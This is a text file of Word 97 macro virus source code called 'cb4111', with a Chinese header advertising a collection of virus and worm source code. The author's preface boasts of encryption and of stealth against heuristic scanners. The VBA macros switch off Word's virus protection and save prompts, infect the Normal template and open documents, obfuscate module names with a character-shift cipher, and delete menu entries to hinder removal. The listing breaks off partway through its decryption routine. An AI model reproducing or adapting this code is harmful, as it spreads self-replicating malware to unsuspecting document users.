cb4111宏病毒.txt

病毒源码 包括世上第一个病毒源码、蠕虫源码、冲击波源码

This bug uses semi encryption with a whole routine!
After infection and closure of W97 the de-encrypted
code is removed. Study the code to see how it works
and benefit from it! This opens new possibilities for
encryption of macro's, use your inventiveness...

Different (new) stealth techniques used to avoid
heuristic scanners. 
No visible saving of Normal.dot!
This one is brought to U by:
ThE wEiRd GeNiUs.
Author of:
DNA.1206 (AVP / Generic *.COM infector)
WEIRD.1800 (AVP / Generic *.COM infector and Novell 3.x password stealer)
cb4111 (W97-SR1 Macro) 
DNA.Dropper (W97-SR1 Macro) (Modified Groovie strain by ALT-F11)

Greetings go to the Codebreakers. Especially to VicodinEs for his 
most valued support and advise and to ALT-F11, hope you don't mind
I 'borrowed' groovie, but at least I learned from it!

Greetz,
WG

Attribute VB_Name = "cb_run"
Sub AutoClose()
On Error Resume Next
If Day(Now) = 7 And Month(Now) = 9 Then MsgBox "CB4111 Error! Press OK to resume.", vbCritical
Application.DisplayAlerts = wdAlertsNone
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "cb4111" Then NormInstall = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "cb4111" Then ActiveInstall = True
Next I
If ActiveInstall = True And NormInstall = True Then GoTo Label_Exit
If ActiveInstall = True And NormInstall = False Then
NormalTemplate.VBProject.VBComponents.Import ("c:\cb4111.txt")
NormalTemplate.Save
Else
Dname = ActiveDocument.FullName
If Left$(Dname, 8) = "Document" Then GoTo Label_Exit
ActiveDocument.VBProject.VBComponents.Import ("c:\cb4111.txt")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End If
Label_Exit:
End Sub

Attribute VB_Name = "cb4111"
Const Ofile = "z#Ez{-(((7mam": Const Ifile = "z#E~|wplj7mam": Const Fmac = "z{-((("
Const Smac = "z{Fklw": Const Tool = "Mvvuj": Const Mmac = "Txzkv"
Const Mtemp = "M|tiuxm|j9xw}9X}}4Pwj777": Const Mform = "_vktxm": Const Mstyl = "Jm`u|777"
Sub AutoOpen()
On Error Resume Next
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = Morph(Smac, 25) Then GoTo Label_Exit
If NormalTemplate.VBProject.VBComponents(I).Name = Morph(Fmac, 25) Then NormInstall = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = Morph(Fmac, 25) Then ActivInstall = True
Next I
If ActivInstall = True And NormInstall = True Then GoTo Label_Exit
If ActivInstall = True And NormInstall = False Then Set Doc = ActiveDocument
If ActivInstall = False And NormInstall = True Then Set Doc = NormalTemplate
Doc.VBProject.VBComponents(Morph(Fmac, 25)).Export (Morph(Ofile, 25))
Call GeniusFunction
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
Label_Exit:
CommandBars(Morph(Tool, 25)).Controls(Morph(Mmac, 25)).Delete
CommandBars(Morph(Tool, 25)).Controls(Morph(Mtemp, 25)).Delete
CommandBars(Morph(Mform, 25)).Controls(Morph(Mstyl, 25)).Delete
Application.ScreenUpdating = True
Application.DisplayAlerts = wdAlertsAll
Application.EnableCancelKey = wdCancelInterrupt
End Sub
Function GeniusFunction()
Application.ScreenUpdating = False
Dim decrypt(23)
decrypt(1) = Chr(65) + Chr(116) + Chr(116) + Chr(114) + Chr(105) + Chr(98) + Chr(117) + Chr(116) + Chr(101) + Chr(32) + Chr(86) + Chr(66) + Chr(95) + Chr(78) + Chr(97) + Chr(109) + Chr(101) + Chr(32) + Chr(61) + Chr(32) + Chr(34) + Chr(99) + Chr(98) + Chr(95) + Chr(114) + Chr(117) + Chr(110) + Chr(34)